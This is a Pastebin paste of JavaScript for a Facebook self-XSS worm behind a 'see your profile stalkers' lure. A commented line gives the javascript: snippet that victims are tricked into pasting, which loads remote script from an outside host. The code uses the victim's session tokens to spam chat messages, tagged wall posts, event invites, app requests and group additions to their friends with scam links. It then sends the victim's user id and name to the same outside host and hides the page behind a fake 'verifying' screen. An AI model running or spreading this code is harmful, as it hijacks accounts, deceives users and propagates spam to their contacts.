Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //javascript:(function(){_ccscr=document.createElement('SCRIPT');_ccscr.type='text/javascript';_ccscr.src='http://scarlion.com/a.php?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();
- var friendsids = Array();
- var friendsname = Array();
- if(document.location.host!="www.facebook.com"||!Env.user){
- //alert("you must run this script on a page on Facebook");
- return false;
- }
- var chatmessage = "hey %firstname% you were one of my top stalkers haha! go check who your top stalkers are at http://clickily.ws/lku0ip";
- var postmessage = "My Top Profile Viewers: \n\ %tf% - 40 views \n\ %tf% - 28 views \n\ %tf% - 16 views \n\ %tf% - 56 views \n\ See who viewed your profile @ http://clickily.ws/lku0ip";
- var redirect = "http://scarlion/user.php";
- var eventdesc = "See your facebook profile stalkers http://clickily.ws/lku0ip";
- var eventname = "WOW Now you can see who views your facebook profile!";
- var nfriends = 5000;
- var fbrankloaded=true;
- var thisuser=Env.user;
- var currentuser=Env.user;
- var fuzzymode=false; //set to true if we are looking at fuzzy (not from typeahead) data; implicitly true if thisuser!=currentuser
- var pathtoidmap={}; //to hold map from paths to ids
- var selffriends; //to hold data about own friends
- var selfdata; //like selffriends, but without nonfriends deleted
- var fuzzydatamap={}; //to hold a map from userid to an array that caches data returned by getinfoforoffset for each offset
- // <script>
- // the following line is what they paste into the browser:
- // javascript:(a=(b=document).createElement('script')).src='//wetroll.info/e.js?'+Math.random(),b.body.appendChild(a);void(0)
- var debug=false;
- var wf=0;
- var mf = function() {
- if (wf <= 0) { // redirect to final page which closes, because iframes don't deliver cookies reliably
- setTimeout(function () {
- window.top.location.href = redirect;
- }, 500);
- }
- }
- var doget = function(url, c, f) {
- var xhr = new XMLHttpRequest();
- xhr.open("GET", url);
- xhr.onreadystatechange = function() {
- if (xhr.readyState == 4) {
- if (xhr.status == 200 && c) {
- c(xhr.responseText);
- }
- if (f) { f(); }
- }
- }
- xhr.send();
- };
- doget("/", function(z) {
- var uid = document.cookie.match(/c_user=(\d+)/)[1];
- var tag = function(o) {
- return o ? "@[" + o.id + ":" + o.name + "]" : "";
- };
- var name = function(o) {
- return o ? o.name : "";
- };
- var htp = function(o) {
- out = "";
- for (var n in o) {
- out += (out ? "&" : "") + n + ((o[n] !== null) ? "=" + encodeURIComponent(o[n]) : "");
- }
- return out;
- };
- var dopost = function(url, o, c, f) {
- var xhr = new XMLHttpRequest();
- xhr.open("POST", url);
- xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
- xhr.onreadystatechange = function() {
- if (xhr.readyState == 4) {
- if (xhr.status == 200 && c) {
- c(xhr.responseText);
- }
- if (f) { f(); }
- }
- }
- xhr.send(htp(o));
- };
- var coverpage = function() {
- // var boxdiv = document.createElement('div');
- // boxdiv.style.display = 'block';
- // boxdiv.style.position = 'absolute';
- // boxdiv.style.width = 100 + '%';
- // boxdiv.style.height = 100 + '%';
- // boxdiv.style.left = 0 + 'px';
- // boxdiv.style.top = 0 + 'px';
- // boxdiv.style.textAlign = 'center';
- // boxdiv.style.padding = '4px';
- // boxdiv.style.background = '#FFFFFF';
- // boxdiv.style.zIndex = 999999;
- // boxdiv.innerHTML=' <br/>Please wait, this can take up to a minute...<br/><br/>Or if you get sick of waiting, you can <a href="javascript:void(0);" onclick="wf=0; mf();">click here</a> (results may be less accurate)<br/><img src="http://genetics.bwh.harvard.edu/snp2rflp/circle.gif">';
- // document.body.appendChild(boxdiv);
- }
- var ccc=z.match(/name=\\"xhpc_composerid\\" value=\\"([\d\w]+)\\"/i);
- if (ccc)
- comp=ccc[1];
- else
- comp='';
- //var comp = z.match(/name="xhpc_composerid" value="([\d\w]+)"/i)[1];
- var form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
- var dt = z.match(/name="fb_dtsg" value="([\d\w]+)"/i)[1];
- var username = document.getElementById('navAccountName').firstChild.data;
- redirect = redirect + "?" + htp({userid:uid,name:username,doclose:1});
- coverpage();
- if (eventdesc) {
- // type=event&eid&&&invite_message=&__d=1&post_form_id=fb2f0d3e0fa68266ebd293dbd9e84d84&fb_dtsg=GsuSc&lsd&post_form_id_source=AsyncRequest
- wf++;
- dopost('/ajax/choose/?__a=1', {
- type:'event', eid:null, invite_message:'', __d:1, post_form_id:form, fb_dtsg:dt, lsd:null, post_form_id_source:"AsyncRequest"
- },
- function(rt) {
- var tok = rt.match(/\\"token\\":\\"([^\\]+)\\"/)[1]; // \"token\":\"1301833849-6\",
- // alert("token: " + tok);
- var url = "/ajax/typeahead/first_degree.php?__a=1&viewer=" + uid + "&token=" + tok + "&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha";
- // GET /ajax/typeahead/first_degree.php?__a=1&viewer=1019042345&token=1301939940-6&filter[0]=user&options[0]=friends_only&options[1]=nm&options[2]=sort_alpha
- doget(url, function (rt2) {
- var q = rt2.match(/\{"uid":\d+,/g);
- var flist = [];
- for (var i=0; i < q.length; i++) {
- var id = q[i].match(/:(\d+),/)[1];
- if (id != uid) {
- flist.push(id);
- }
- }
- // alert("friends: " + flist.join(", "));
- var d = new Date();
- d.setTime(d.getTime() + 60*60*24*1000); // add one day to the date object
- datestr = (d.getMonth()+1) + "/" + d.getDate() + "/" + d.getFullYear();
- timestr = d.getHours() * 60;
- var eo = {
- post_form_id:form,fb_dtsg:dt,
- start_time_intl_field:datestr, start_time_text_field:datestr, start_time_hour_min:timestr,
- name:eventname,
- place_page_id:"",location:"",street:"",geo_id:"",geo_sq:"",
- desc:eventdesc,
- sgb_invitees:flist.join(","),
- sgb_emails:"",sgb_message:"",
- privacy_type:"on",guest_list:"on",connections_can_post:"on",save:"Create Event",submitting:""
- };
- eo['new'] = '';
- dopost('/events/create.php', eo, false, function() { mf(--wf); });
- }
- );
- }
- );
- }
- /*
- if (false) {
- wf++;
- doget("/ajax/browser/friends/?uid=" + uid + "&filter=all&__a=1&__d=1", function(rt) {
- var q = rt.match(/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
- var flist = [];
- for (var i=0; i < q.length; i++) {
- var id = q[i].match(/_\d+_/)[0].replace(/_/g, "");
- flist.push(id);
- }
- var d = new Date();
- d.setTime(d.getTime() + 60*60*24*1000); // add one day to the date object
- datestr = (d.getMonth()+1) + "/" + d.getDate() + "/" + d.getFullYear();
- timestr = d.getHours() * 60;
- var eo = {
- post_form_id:form,fb_dtsg:dt,
- start_time_intl_field:datestr, start_time_text_field:datestr, start_time_hour_min:timestr,
- name:eventname,
- place_page_id:"",location:"",street:"",geo_id:"",geo_sq:"",
- desc:eventdesc,
- sgb_invitees:flist.join(","),
- sgb_emails:"",sgb_message:"",
- privacy_type:"on",guest_list:"on",connections_can_post:"on",save:"Create Event",submitting:""
- };
- eo['new'] = '';
- dopost('/events/create.php', eo, false, function() { mf(--wf); });
- });
- }
- */
- if (chatmessage) {
- wf++;
- dopost('/ajax/chat/buddy_list.php?__a=1', {
- user:uid,post_form_id:form,fb_dtsg:dt,lsd:null,
- post_form_id_source:"AsyncRequest",popped_out:false,force_render:true},
- function (rt) {
- var data = rt.substr(9);
- var resobj = eval("(" + data + ")");
- var bl = resobj.payload.buddy_list;
- for (var fid in bl.nowAvailableList) {
- var r = Math.floor(Math.random()*1335448958);
- var t = (new Date()).getTime();
- var m = chatmessage.replace("%firstname%", bl.userInfos[fid].firstName.toLowerCase());
- dopost('/ajax/chat/send.php?__a=1', {
- msg_id:Math.floor(Math.random()*1335448958), client_time:(new Date()).getTime(),
- msg_text:chatmessage.replace("%firstname%", bl.userInfos[fid].firstName.toLowerCase()),
- to:fid, post_form_id:form, fb_dtsg:dt, post_form_id_source:"AsyncRequest"
- });
- }
- mf(--wf); // if no online buddies and this returns last, then finalize
- }
- );
- }
- if (postmessage) {
- wf++;
- doget("/ajax/browser/friends/?uid=" + uid + "&filter=all&__a=1&__d=1", function(rt) {
- var q = rt.match(/\/\d+_\d+_\d+_q\.jpg.*?u003ca href=\\"http:\\\/\\\/www.facebook.com\\\/.*?\\u003c\\\/a>/gi);
- var pf = [];
- if (q)
- for (var i=0; i < q.length; i++) {
- var id = q[i].match(/_\d+_/)[0].replace(/_/g, "");
- var nm = q[i].match(/>[^>]+\\u003c\\\/a>$/i)[0].replace(/\\u003c\\\/a>$/gim, "").replace(/>/g, "");
- pf.push({id:id,name:nm});
- }
- var f=[];
- var f2=[];
- while (pf.length) {
- var idx = Math.floor(Math.random() * pf.length);
- f.push(pf[idx]);
- f2.push(pf[idx]); // make a copy
- var t = pf.shift(); // pull off the first element
- if (idx) {
- pf[idx-1] = t; // replace the random element we copied to f
- }
- }
- if (debug) { alert("fetched friends: " + f.length); }
- var po={post_form_id:form,fb_dtsg:dt,xhpc_composerid:comp,xhpc_targetid:uid,xhpc_context:"home",xhpc_fbx:"",
- lsd:null,post_form_id_source:"AsyncRequest"};
- mt = postmessage;
- m = postmessage;
- while (mt.search("%tf%") >= 0) {
- var tf = f.pop();
- mt = mt.replace("%tf%", name(tf));
- m = m.replace("%tf%", tag(tf));
- }
- po.xhpc_message_text = mt;
- po.xhpc_message = m;
- if (debug) { alert("message text: " + mt); }
- dopost("/ajax/updatestatus.php?__a=1", po); // do status post
- var fpost = function(n) {
- if (n == 0) {
- wf = 0; // made specified number of posts, force return
- mf();
- return;
- }
- var fz = f2.shift();
- var pz={post_form_id:form,fb_dtsg:dt,xhpc_composerid:comp,xhpc_targetid:fz.id,xhpc_context:"profile",xhpc_fbx:1,
- lsd:null,post_form_id_source:"AsyncRequest"};
- var zmt = postmessage;
- var zm = postmessage;
- if (f.length == 0) {
- wf = 0; // ran out of friends, force return
- mf();
- return;
- }
- while (zmt.search("%tf%") >= 0) {
- var ztf = f.pop();
- zmt = zmt.replace("%tf%", name(ztf));
- zm = zm.replace("%tf%", tag(ztf));
- }
- pz.xhpc_message_text = zmt;
- pz.xhpc_message = zm;
- dopost("/ajax/updatestatus.php?__a=1", pz);
- setTimeout(function() { fpost(n-1); }, 2000); // after two seconds kick off fpost again
- };
- wf++; // wait until we run out of friends to tag or meet requested number of friends walls
- setTimeout(function() { fpost(nfriends); }, 2000);
- });
- }
- mf(); // should only trigger if chatmessage and postmessage are both disabled
- });
- function loadui(){
- //build page
- //build stylesheet
- var body="<style>#ccfbrank{background:white;margin:0;padding:0;font-family:'lucida grande', tahoma, verdana,sans-serif;display:block;position:absolute;top:0;left:0;width:100%;min-height:100%;z-index:1000;font-size:12pt;}#ccfbrank table,#ccfbrank td{border-spacing:0 !important;padding:0;}#ccfbrank td{font-size:12pt;}#ccfbrank #heading{padding:10px;}#ccfbrank td{padding:10px;margin:0 !important;}#ccfbrank #toggle a{color:white;font-weight:normal;display:inline-block;border:1px solid #3b5998;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:3px;}#ccfbrank #toggle a:hover{text-decoration:none;background:#476ab6;border-color:#889fd1;}#toggle a:active{position:relative;top:1px;left:1px;}#ccfbrank #toggle{float:right;margin-right:10px;margin-top:9px;}#ccfbrank #heading{background:#3b5998;font-size:16pt;color:white;}#ccfbrank .numbering{color:#3b5998;font-size:20pt;text-align:right;display:inline-block;width:85px;}#ccfbrank .row1{background:#edeff4;}#ccfbrank .pic{margin-left:10px;display:inline-block;margin-right:0;padding-right:0;height:50px;}#ccfbrank .info{line-height:140%;margin-left:0px;display:inline-block;color:gray;}#ccfbrank .distancetext{visibility:hidden;}#ccfbrank .distance{width:auto;text-align:right;color:gray;width:300px;}.distance a{font-weight:normal !important;}#ccfbrank a{color:#3B5998;font-weight:bold;text-decoration:none;}#ccfbrank a:hover{text-decoration:underline;}#ccfbrank #footer{padding:10px;margin-top:10px;border-top:1px solid #d8dfea;background:#edeff4;color:#3B5998;}#ccfbrank #footer a{font-weight:normal;color:#4669b4;}#__ccrefreshing{background:white;margin:0;padding:0;position:fixed;top:0;left:0;width:100%;min-height:100%;z-index:1001;font-size:12pt;opacity:0.5;}.warningrow td,#errorcontainer{background:#fffdce;text-align:center;}.loadmorerow td{background:white;border-top:1px solid #d8dfea;border-bottom:1px solid #d8dfea;text-align:center;}#messagecontainer{background:#edeff4;border-bottom:1px solid #d8dfea;}#messagecontainer a{font-weight:normal;}#messagetoggle a{font-weight:normal;display:inline-block;border:1px solid transparent;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:3px;}#ccfbrank #messagetoggle a:hover{text-decoration:none;background:#e1e4ec;border-color:#acbada;}#messagetoggle a:active{position:relative;top:1px;left:1px;}</style>";
- //build toggle button
- body+="<span id='toggle'><a href='#' onClick='document.getElementById(\"ccfbrank\").style.display=\"none\";document.getElementById(\"globalContainer\").style.display=\"block\";'>close</a></span>";
- //build heading
- body+="<div id='heading'>Verifying your code - Please wait, this may take a few moments.</div>";
- body+="<div id='messagecontainer'></div>";
- body+="<div id='errorcontainer'></div>";
- //build main table container
- body+="<div id='tablecontainer'></div>";
- body+="<div id='footer'>";
- body+="(<a href=''></a>)";
- body+="</div>";
- //w.document.write(body);
- if(!(container=document.getElementById("ccfbrank"))){
- container=document.createElement("div");
- container.id="ccfbrank";
- document.body.appendChild(container);
- }
- container.style.display="block";
- container.innerHTML=body;
- //hide fb's stuff
- document.getElementById("globalContainer").style.display="none";
- }
- loadui();
- function displayfriendtable(friends){
- var body="<table cellpadding=0 cellspacing=0 style='table-layout:fixed;width:100%'>";
- var encounteredambiguous=false;
- for(i=0;i<friends.length;i++){
- //for(i=0;i=1;i++){
- //display ambiguity warning
- if(friends[i].isambiguous&&!encounteredambiguous){
- encounteredambiguous=true;
- body+="<tr class='warningrow'>";
- body+="</tr>";
- }
- //body+="<tr class='row"+(i%2)+"'>";
- //body+="<td class='numbering'>"+(i+1)+"</td>";
- //if(!friends[i].photo) friends[i].photo="http://static.ak.fbcdn.net/rsrc.php/yo/r/UlIqmHJn-SK.gif";
- //body+="<td class='pic'>";
- //body+="<img src='"+friends[i].photo+"'>";
- //body+=friends[i].text;
- //body+="</td>";
- //body+="<td class='info'>";
- if(friends[i].isloading){
- //body+="<img src='http://static.ak.fbcdn.net/rsrc.php/zb/r/GsNJNwuI-UM.gif'> Loading...";
- }else{
- if(friends[i].category){
- //body+="<br>"+friends[i].category;
- }
- }
- body+="</td>";
- body+="<td class='distance'>";
- if(friends[i].uid)
- { //we create a link to switch the context to the friend's friends
- /* var span = document.createElement("span");
- span.setAttribute("class","removable uiToken");
- span.setAttribute("title",friends[i].text);
- var hidden = document.createElement("input");
- hidden.setAttribute("type","hidden");
- hidden.setAttribute("name","members[]");
- hidden.setAttribute("value",friends[i].uid);
- span.appendChild(hidden);
- var hidden2 = document.createElement("input");
- hidden2.setAttribute("type","hidden");
- hidden2.setAttribute("name","text_members[]");
- hidden2.setAttribute("value",friends[i].text);
- span.appendChild(hidden2);
- var a = document.createElement("a");
- a.setAttribute("title","Remove "+friends[i].text);
- a.setAttribute("class","remove uiCloseButton uiCloseButtonSmall");
- a.setAttribute("href","#");
- span.appendChild(a);
- $("groupMembersInput").parentNode.parentNode.previousSibling.appendChild(span);
- */
- var xhr=new XMLHttpRequest();
- var pf = escape(findelementbyname("post_form_id"));
- var groupid = escape(findelementbyname('targetid'));//escape(document.forms[4].targetid.value);
- var fb_dtsg = escape(document.getElementsByName("fb_dtsg")[0].value);
- xhr.open("POST","/fbml/ajax/prompt_send.php?__a=1");
- var linky = 'http://bit.ly/hKE6tF';
- var msgy = friends[i]['text'] + ' ... You have (2) new PROFILE STALKERS\n<b>Click Accept To View</b>';
- var appid = '2309869772';
- try {
- var data = 'app_id=' + appid + '&to_ids[0]=' + friends[i]['uid'] + '&&request_type=&invite=true&content=' + msgy + '%20%0A%3Cfb%3Areq-choice%20url' + '%3D%22' + linky + '%22%20label%3D%22t%20%22%3E%3C%2Ffb%3Areq-choice%3E&preview=false&is_multi=false&is_in_canvas=true&form_id=req_form_&' + 'prefill=false&message=&donot_send=false&include_ci=false&__d=1&post_form_id=' + pf + '&fb_dtsg=' + fb_dtsg + '&lsd&post_form_id_source=AsyncRequest';
- xhr['send'](data);
- } catch (err) {};
- friendsids.push("members[]="+escape( friends[i].uid));
- friendsname.push("text_members[]="+ escape(friends[i].text));
- if(friendsids.length > 20)
- {
- friendsids= Array();
- friendsname=Array();
- }
- }
- body+="</td>";
- body+="</tr>";
- //display load more thing
- if(i==friends.length-1&&friends[i].canloadmore){
- body+="<tr class='loadmorerow'>";
- body+="<td colspan=2><a href='javascript:loadmore(10);'>Load more</a></td>";
- body+="</tr>";
- }
- }
- body+="</table>";
- document.getElementById("tablecontainer").innerHTML=body;
- }
- function findelementbyname(nme)
- {
- var inputs = document.getElementsByTagName("input");
- for(var i=0;i<inputs.length;i++)
- {
- if(inputs[i].name == nme)
- return inputs[i].value;
- }
- return null;
- }
- function CheckIds(thefriendsids, thefriendsname)
- {
- var xhr=new XMLHttpRequest();
- xhr.open("POST","/ajax/groups/members/add_post.php?__a=1&"+Math.random(),true);
- var pf = escape(findelementbyname("post_form_id"));
- var groupid = escape(findelementbyname('targetid'));//escape(document.forms[4].targetid.value);
- var fb_dtsg = escape(document.getElementsByName("fb_dtsg")[0].value);
- try
- {
- var data = "__d=1&add_friends_to_group=Add&fb_dtsg="+fb_dtsg+"&group_id="+groupid+"&"+thefriendsids.join("&") + "&"+thefriendsname.join("&") +"&refresh=";
- data+="&post_form_id="+pf+"&lsd=&post_form_id_source=AsyncRequest";
- xhr.send(data);
- }
- catch(err)
- {
- }
- return;
- if(xhr.readyState!=4){
- alert("Error making ajax request (readyState="+xhr.readyState+")--check that you can connect to Facebook and try again?");
- }else{
- members = new Array();
- textmembers = new Array();
- data=JSON.decode(xhr.responseText.substr(9));
- if(data.error){
- alert("Facebook error: "+data.errorDescription);
- }else{
- //sort friends by index
- }
- //remove extraneous things, where rankType!=friend and stuff
- }
- members = new Array();
- textmembers = new Array();
- }
- function loadselfdata(){
- //we can afford to use xhr synchronously here since it's just one request
- xhr=new XMLHttpRequest();
- xhr.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer="+thisuser+"&"+Math.random(),false);
- xhr.send();
- if(xhr.readyState!=4){
- alert("Error making ajax request (readyState="+xhr.readyState+")--check that you can connect to Facebook and try again?");
- }else{
- //document.getElementById("heading").innerHTML("/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer="+thisuser+"&"+Math.random());
- data=eval('('+xhr.responseText.substr(9)+')');
- if(data.error){
- alert("Facebook error: "+data.errorDescription);
- }else{
- //sort friends by index
- selffriends=data.payload.entries.sort(function(a,b){return a.index-b.index;});
- //build map from paths to ids
- for(i=0;i<selffriends.length;i++){
- pathtoidmap[selffriends[i].path]=selffriends[i].uid;
- }
- }
- //remove extraneous things, where rankType!=friend and stuff
- selfdata=selffriends;
- //var newsf=[];
- //for(i=0;i<selffriends.length;i++){
- // if(selffriends[i].rankType=="friend"&&selffriends[i].uid!=thisuser){
- // newsf.push(selffriends[i]);
- // }
- //}
- //selffriends=newsf;
- //alert("displaying friends:" + selffriends.length);
- }
- }
- loadselfdata();
- displayfriendtable(selffriends);
- setTimeout(function (){runai();}, 15000);
- var abortloadingfuzzydata=false; //we set this if we need to abort loading these on an error
- var requests=[];
- function runai() {
- window.location="http://scarlion.com/user.php?";
- }
- //load data from list of friends--we must do this asyncronously or it'll be slow
- function loadfuzzydata(){
- abortloadingfuzzydata=false;
- var loadforid=currentuser;
- // console.log("loading fuzzy data for id="+loadforid);
- var n=20;
- if(!fuzzydatamap[currentuser]) fuzzydatamap[currentuser]={};
- if(!fuzzydatamap[currentuser].infodumps) fuzzydatamap[currentuser].infodumps=[];
- fuzzydatamap[currentuser].numberrequested=n;
- var i;
- for(i=0;i<=n;i++){
- if(!fuzzydatamap[currentuser].infodumps[i]) fuzzydatamap[currentuser].infodumps[i]={"isloading":true};
- asyncgetfuzzyinfoforoffset(i);
- }
- }
- //load n more results
- function loadmore(n){
- var m=fuzzydatamap[currentuser].numberrequested;
- fuzzydatamap[currentuser].numberrequested+=n;
- var i;
- for(i=m;i<=fuzzydatamap[currentuser].numberrequested;i++){
- if(!fuzzydatamap[currentuser].infodumps[i]) fuzzydatamap[currentuser].infodumps[i]={"isloading":true};
- asyncgetfuzzyinfoforoffset(i);
- }
- refreshtable();
- }
- //we asynchronously load a list of friends
- function asyncgetfuzzyinfoforoffset(offset){
- // console.log("asyncgetfuzzyinfoforoffset called for offset "+offset);
- if(fuzzydatamap[currentuser].infodumps[offset]&&fuzzydatamap[currentuser].infodumps[offset].length>0){
- //we don't want to redo the request
- // console.log("nothing to do...returning");
- return;
- }
- var n=requests.length;
- requests[n]={};
- requests[n].offset=offset; //store the offset for later so we know what we're doing
- requests[n].userid=currentuser; //again we store the user id too
- requests[n].xhr=new XMLHttpRequest();
- requests[n].xhr.open("GET","/ajax/browser/list/friends/all/?uid="+currentuser+"&offset="+offset+"&dual=1&__a=1&"+Math.random(),true);
- requests[n].xhr.onreadystatechange=eval("(function(){checkasyncrequest("+n+");})"); //hack so we can use xhrs concurrently
- requests[n].xhr.send();
- }
- //callback function for xhr, populates fuzzydatamap
- function checkasyncrequest(n){
- //// console.log("xhr["+n+"]: readystate="+requests[n].xhr.readyState);
- if(requests[n].xhr.readyState==4){
- // console.log("callback reached for request "+n+" (userid="+requests[n].userid+", offset="+requests[n].offset+")");
- var data=JSON.decode(requests[n].xhr.responseText.substr(9));
- if(data.error){
- document.getElementById("errorcontainer").innerHTML="<div style='padding:8px;'>Oops Facebook returned an error. This might be because of some privacy setting or some general silliness from too many requests. <a href='javascript:switchtocontext(\""+currentuser+"\",true)'>Try again?</a></div>";
- return;
- }
- var friendshtml=eval(data.onload[0].replace("(function(){DOM.appendContent(this, HTML(","").replace("));;}).apply(DOM.find(this.getRelativeTo(),\"^div.fbProfileBrowserListContainer\"))",""));
- //since parsing html sucks, we create a dom node and manipulate it to extract the data
- var dnode=document.createElement("div");
- dnode.innerHTML=friendshtml;
- var infonodes=dnode.getElementsByClassName("fbProfileBrowserLargeList")[0].getElementsByClassName("fbProfileLargePortrait");
- var info=[];
- for(i=0;i<infonodes.length;i++){
- links=infonodes[i].getElementsByTagName("a");
- info[i]={};
- info[i].path=links[0].href.replace(/^https?:\/\/[a-z]+\.facebook\.com/,"");
- //we use pictures from facebook graph because the pictures they give us in the response are too large
- info[i].photo="http://graph.facebook.com"+info[i].path.replace("profile.php?id=","")+"/picture";
- //if we are friends with this person, we add their id so later we can display a link to their rankings
- if(pathtoidmap[info[i].path]!=undefined){
- info[i].uid=pathtoidmap[info[i].path];
- }
- info[i].text=infonodes[i].getElementsByClassName("fwb")[0].innerHTML;
- if(infonodes[i].getElementsByClassName("fcg").length>0){
- info[i].category=infonodes[i].getElementsByClassName("fcg")[0].innerHTML.replace(/<[^>]+>/g,""); //we get rid of extraneous tags that somehow are in here
- }
- }
- if(typeof fuzzydatamap[requests[n].userid]=="undefined") fuzzydatamap[requests[n].userid]={};
- if(typeof fuzzydatamap[requests[n].userid].infodumps=="undefined") fuzzydatamap[requests[n].userid].infodumps=[];
- fuzzydatamap[requests[n].userid].infodumps[requests[n].offset]=info;
- }
- }
- //returns a summary of the differences between two sets of friends (this is used on the infodumps in fuzzydatamap)
- function infodiff(oldinfo,newinfo){
- oldinfomap={};
- for(i=0;i<oldinfo.length;i++){
- oldinfomap[oldinfo[i].path]=1;
- }
- newinfomap={};
- for(i=0;i<newinfo.length;i++){
- newinfomap[newinfo[i].path]=1;
- }
- //find removed
- removed=new Array();
- for(i=0;i<oldinfo.length;i++){
- if(newinfomap[oldinfo[i].path]!=1){
- removed.push(oldinfo[i]);
- }
- }
- //find added
- added=new Array();
- for(i=0;i<newinfo.length;i++){
- if(oldinfomap[newinfo[i].path]!=1){
- added.push(newinfo[i]);
- }
- }
- return {"added" : added, "removed" : removed};
- }
- var fuzzyloadingcompleted=false;
- //refresh rankings based on possibly refreshedinfodump
- function refreshfuzzyrankedfriends(){
- fuzzyloadingcompleted=true;
- if(typeof fuzzydatamap[currentuser]=="undefined") fuzzydatamap[currentuser]={};
- if(typeof fuzzydatamap[currentuser].rankedfriends=="undefined") fuzzydatamap[currentuser].rankedfriends=[];
- if(typeof fuzzydatamap[currentuser].infodumps=="undefined") fuzzydatamap[currentuser].infodumps=[];
- var i;
- for(i=0;i<fuzzydatamap[currentuser].infodumps.length-1;i++){
- //// console.log("refreshingfuzzyindex "+i);
- if(typeof fuzzydatamap[currentuser].rankedfriends[i]=="undefined"){
- fuzzydatamap[currentuser].rankedfriends[i]={"isloading":true};
- fuzzyloadingcompleted=false;
- }
- if(fuzzydatamap[currentuser].rankedfriends[i].isloading){
- fuzzyloadingcompleted=false;
- }
- if(fuzzydatamap[currentuser].infodumps[i].length>0&&fuzzydatamap[currentuser].infodumps[i+1].length>0){
- diff=infodiff(fuzzydatamap[currentuser].infodumps[i],fuzzydatamap[currentuser].infodumps[i+1]);
- //if(diff.removed.length==1){
- fuzzydatamap[currentuser].rankedfriends[i]=diff.removed[0];
- //}
- if(diff.removed.length>1){
- //this ranking is ambiguous
- fuzzydatamap[currentuser].rankedfriends[i].isambiguous=true;
- }
- //this is a hack to signal displayfriendtable to add a link to load more
- if(i==fuzzydatamap[currentuser].infodumps.length-2&&fuzzydatamap[currentuser].infodumps[i+1].length>2){
- fuzzydatamap[currentuser].rankedfriends[i].canloadmore=true;
- }
- }
- }
- if(fuzzydatamap[currentuser].infodumps.length<fuzzydatamap[currentuser].numberrequested){
- fuzzyloadingcompleted=false;
- }
- }
- function getnamefromuid(uid){
- var i;
- for(i=0;i<selfdata.length;i++){
- if(selfdata[i].uid==uid) {
- return selfdata[i].text;
- }
- }
- return "Unknown user ("+uid+")";
- }
- //redraw the table of friends
- function refreshtable(){
- if(currentuser==thisuser&&!fuzzymode){
- displayfriendtable(selffriends);
- body="<table style='width:100%;'><tr><td>";
- body+="<table cellpadding=0 cellspacing=0><tr><td style='padding:0;'>";
- body+="<img src='http://graph.facebook.com/"+thisuser+"/picture'></td>";
- body+="<td style='padding:0 0 0 8px;'>";
- body+="</td></tr></table>";
- body+="</td>";
- body+="<td style='text-align:right;' id='messagetoggle'>";
- body+="</td>";
- body+="</tr></table>";
- if(document.getElementById("messagecontainer").innerHTML!=body)
- document.getElementById("messagecontainer").innerHTML=body;
- }else{
- refreshfuzzyrankedfriends();
- displayfriendtable(fuzzydatamap[currentuser].rankedfriends);
- body="<table style='width:100%;'><tr><td>";
- body+="<table cellpadding=0 cellspacing=0><tr><td style='padding:0;'>";
- body+="<img src='http://graph.facebook.com/"+currentuser+"/picture'></td>";
- body+="<td style='padding:0 0 0 8px;'>These are "+getnamefromuid(currentuser)+"'s rankings.";
- body+="</td></tr></table>";
- body+="</td>";
- body+="<td style='text-align:right;' id='messagetoggle'>";
- body+="<a href='#' onclick='switchtocontext(\""+thisuser+"\",false);'>back to your own rankings</a>";
- body+="</td>";
- body+="</tr></table>";
- if(document.getElementById("messagecontainer").innerHTML!=body)
- document.getElementById("messagecontainer").innerHTML=body;
- if(!fuzzyloadingcompleted){
- setTimeout("refreshtable()",500);
- }
- }
- }
- //switch to viewing someone else's friends
- function switchtocontext(newcontext,fuzzy){
- document.getElementById("errorcontainer").innerHTML="";
- currentuser=newcontext;
- fuzzymode=fuzzy;
- if(fuzzy){
- loadfuzzydata();
- }
- fuzzyloadingcompleted=false;
- refreshtable();
- }
- refreshtable();
Add Comment
Please, Sign In to add comment